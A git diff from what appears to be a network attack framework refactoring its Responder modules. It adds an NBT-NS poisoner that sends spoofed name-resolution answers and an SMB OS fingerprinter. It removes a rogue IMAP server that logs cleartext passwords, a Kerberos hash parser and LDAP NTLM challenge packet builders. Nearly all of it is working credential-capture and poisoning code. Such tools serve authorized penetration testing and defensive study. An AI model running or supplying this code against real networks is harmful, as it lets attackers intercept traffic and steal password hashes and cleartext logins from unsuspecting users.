ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import settings +import fingerprint + +from packets import NBT_Ans +from SocketServer import BaseRequestHandler +from utils import * + +# Define what are we answering to. +def Validate_NBT_NS(data): + if settings.Config.AnalyzeMode: + return False + + if NBT_NS_Role(data[43:46]) == "File Server": + return True + + if settings.Config.NBTNSDomain == True: + if NBT_NS_Role(data[43:46]) == "Domain Controller": + return True + + if settings.Config.Wredirect == True: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + return True + + else: + return False + +# NBT_NS Server class. +class NBTNS(BaseRequestHandler): + + def handle(self): + + data, socket = self.request + Name = Decode_Name(data[13:45]) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x01\x10": + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: NBT-NS]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = NBT_Ans() + Buffer.calculate(data) + socket.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [NBT-NS]" + + print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/arp/__init__.py b/core/poisoners/arp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/dhcp/__init__.py b/core/poisoners/dhcp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/icmp/__init__.py b/core/poisoners/icmp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/proxyplugins.py similarity index 100% rename from core/sergioproxy/ProxyPlugins.py rename to core/proxyplugins.py diff --git a/core/responder/common.py b/core/responder/common.py deleted file mode 100644 index 904d865..0000000 --- a/core/responder/common.py +++ /dev/null @@ -1,102 +0,0 @@ -#common functions that are used throughout the Responder's code - -import os -import re - -#Function used to write captured hashs to a file. -def WriteData(outfile, data, user): - if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() - -def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": - return False - if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True - if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True - else: - return False - -#Function name self-explanatory -def Is_Finger_On(Finger_On_Off): - if Finger_On_Off == True: - return True - if Finger_On_Off == False: - return False - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToSpecificName(RespondToName): - if len(RespondToName)>=1 and RespondToName != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -def RespondToNameScope(RespondToName, Name): - if Name in RespondToName: - return True - else: - return False - -##Dont Respond to these hosts/names. -def DontRespondToSpecificHost(DontRespondTo): - if len(DontRespondTo)>=1 and DontRespondTo != ['']: - return True - else: - return False - -def DontRespondToSpecificName(DontRespondToName): - if len(DontRespondToName)>=1 and DontRespondToName != ['']: - return True - else: - return False - -def DontRespondToIPScope(DontRespondTo, ClientIp): - if ClientIp in DontRespondTo: - return True - else: - return False - -def DontRespondToNameScope(DontRespondToName, Name): - if Name in DontRespondToName: - return True - else: - return False - -def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - -def FindLocalIP(Iface): - return OURIP \ No newline at end of file diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py new file mode 100644 index 0000000..24432a5 --- /dev/null +++ b/core/responder/fingerprint.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re +import sys +import socket +import struct +import string +import logging + +from utils import * +from odict import OrderedDict +from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData + +def OsNameClientVersion(data): + try: + length = struct.unpack('i", len(''.join(Packet)))+Packet + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x72\x00": + Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00") + Body = SMBSessionFingerData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + s.send(Buffer) + data = s.recv(2048) + + if data[8:10] == "\x73\x16": + return OsNameClientVersion(data) + except: + print color("[!] ", 1, 1) +" Fingerprint failed" + return None diff --git a/core/responder/fingerprinter/Fingerprint.py b/core/responder/fingerprinter/Fingerprint.py deleted file mode 100644 index 8eda227..0000000 --- a/core/responder/fingerprinter/Fingerprint.py +++ /dev/null @@ -1,121 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import re,sys,socket,struct,string -from socket import * -from ..odict import OrderedDict -from ..packet import Packet - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack(". -import re,socket,struct -from socket import * -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x00"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x62\x00"), - ("data", "") - ]) - - def calculate(self): - self.fields["bcc"] = struct.pack("i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x08"), - ("flag2", "\x01\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x3c\x1b"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNegoData(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x54\x00"), - ("separator1","\x02" ), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2","\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ]) - def calculate(self): - CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"]) - self.fields["bcc"] = struct.pack(". -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) -################################################################################## -#SMB Client Stuff -################################################################################## - -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x00"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x00\x4e"), - ("uid", "\x00\x08"), - ("mid", "\x00\x00"), - ]) - -class SMBNego(Packet): - fields = OrderedDict([ - ("Wordcount", "\x00"), - ("Bcc", "\x62\x00"), - ("Data", "") - ]) - - def calculate(self): - self.fields["Bcc"] = struct.pack("i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - -#SMB Header answer packet. -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x80"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\xff\xfe"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -#SMB Negotiate Answer packet. -class SMBNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x11\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\x43\x00\x00"), - ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), - ("Domain", ""), - - ]) - - def calculate(self): - - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"]) - self.fields["Bcc"] = struct.pack(". -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#IMAP4 Greating class -class IMAPGreating(Packet): - fields = OrderedDict([ - ("Code", "* OK IMAP4 service is ready."), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapability(Packet): - fields = OrderedDict([ - ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapabilityEnd(Packet): - fields = OrderedDict([ - ("Tag", ""), - ("Message", " OK CAPABILITY completed."), - ("CRLF", "\r\n"), - ]) diff --git a/core/responder/imap/IMAPserver.py b/core/responder/imap/IMAPserver.py deleted file mode 100644 index 91d4725..0000000 --- a/core/responder/imap/IMAPserver.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from IMAPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("IMAPserver", formatter) - -class IMAPserver(): - - def start(self): - try: - log.debug("online") - server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) - t = threading.Thread(name="IMAPserver", target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - log.error("Error starting on port {}: {}".format(143, e)) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class IMAP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(IMAPGreating())) - data = self.request.recv(1024) - if data[5:15] == "CAPABILITY": - RequestTag = data[0:4] - self.request.send(str(IMAPCapability())) - self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag))) - data = self.request.recv(1024) - if data[5:10] == "LOGIN": - Credentials = data[10:].strip() - Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Credentials, Credentials) - #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) - log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) - self.request.send(str(ditchthisconnection())) - data = self.request.recv(1024) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/imap/__init__.py b/core/responder/imap/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/kerberos/KERBserver.py b/core/responder/kerberos/KERBserver.py deleted file mode 100644 index 837b7eb..0000000 --- a/core/responder/kerberos/KERBserver.py +++ /dev/null @@ -1,157 +0,0 @@ -import socket -import threading -import struct -import logging - -from core.logger import logger -from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler - -formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("KERBserver", formatter) - -class KERBserver(): - - def serve_thread_udp(self, host, port, handler): - try: - server = ThreadingUDPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting UDP server on port 88: {}:".format(e)) - - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception as e: - log.debug("Error starting TCP server on port 88: {}:".format(e)) - - def start(self): - log.debug("online") - t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP)) - t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP)) - for t in [t1,t2]: - t.setDaemon(True) - t.start() - -class ThreadingUDPServer(ThreadingMixIn, UDPServer): - - allow_reuse_address = 1 - - def server_bind(self): - UDPServer.server_bind(self) - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -class KerbTCP(BaseRequestHandler): - - def handle(self): - try: - data = self.request.recv(1024) - KerbHash = ParseMSKerbv5TCP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -class KerbUDP(BaseRequestHandler): - - def handle(self): - try: - data, soc = self.request - KerbHash = ParseMSKerbv5UDP(data) - if KerbHash: - log.info('MSKerbv5 complete hash is: {}'.format(KerbHash)) - except Exception: - raise - -def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. - -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -class LDAPSearchDefaultPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLen", "\x0c"), - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x0f"), - ("OpHeadASNID", "\x65"), - ("OpHeadASNIDLen", "\x07"), - ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. - ]) - -class LDAPSearchSupportedCapabilitiesPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x15"),#21 - ("SearchAttribASN2Str", "supportedCapabilities"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x16"),#22 - ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x17"),#23 - ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x17"),#23 - ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPSearchSupportedMechanismsPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x17"),#23 - ("SearchAttribASN2Str", "supportedSASLMechanisms"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x06"),#6 - ("SearchAttrib1ASNStr", "GSSAPI"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x0a"),#10 - ("SearchAttrib2ASNStr", "GSS-SPNEGO"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x08"),#8 - ("SearchAttrib3ASNStr", "EXTERNAL"), - ("SearchAttrib4ASNID", "\x04"), - ("SearchAttrib4ASNLen", "\x0a"),#10 - ("SearchAttrib4ASNStr", "DIGEST-MD5"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPNTLMChallenge(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x61"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 - ("Status", "\x0A"), - ("StatusASNLen", "\x01"), - ("StatusASNStr", "\x0e"), #In Progress. - ("MatchedDN", "\x04\x00"), #Null - ("ErrorMessage", "\x04\x00"), #Null - ("SequenceHeader", "\x87"), - ("SequenceHeaderLenOfLen", "\x81"), - ("SequenceHeaderLen", "\x82"), #188 - ("NTLMSSPSignature", "NTLMSSP"), - ("NTLMSSPSignatureNull", "\x00"), - ("NTLMSSPMessageType", "\x02\x00\x00\x00"), - ("NTLMSSPNtWorkstationLen","\x1e\x00"), - ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), - ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), - ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), - ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), - ("NTLMSSPNtTargetInfoLen","\x94\x00"), - ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), - ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh","\x05"), - ("NegTokenInitSeqMechMessageVersionLow","\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), - ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), - ("NTLMSSPNtWorkstationName","SMB12"), - ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), - ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), - ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), - ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), - ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), - ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), - ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), - ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), - ]) - - def calculate(self): - - ##Convert strings to Unicode first... - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') - - ###### Workstation Offset - CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) - - ###### AvPairs Offset - CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) - - ###### LDAP Packet Len - CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - - OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - ##### LDAP Len Calculation: - self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) - - ##### Workstation Offset 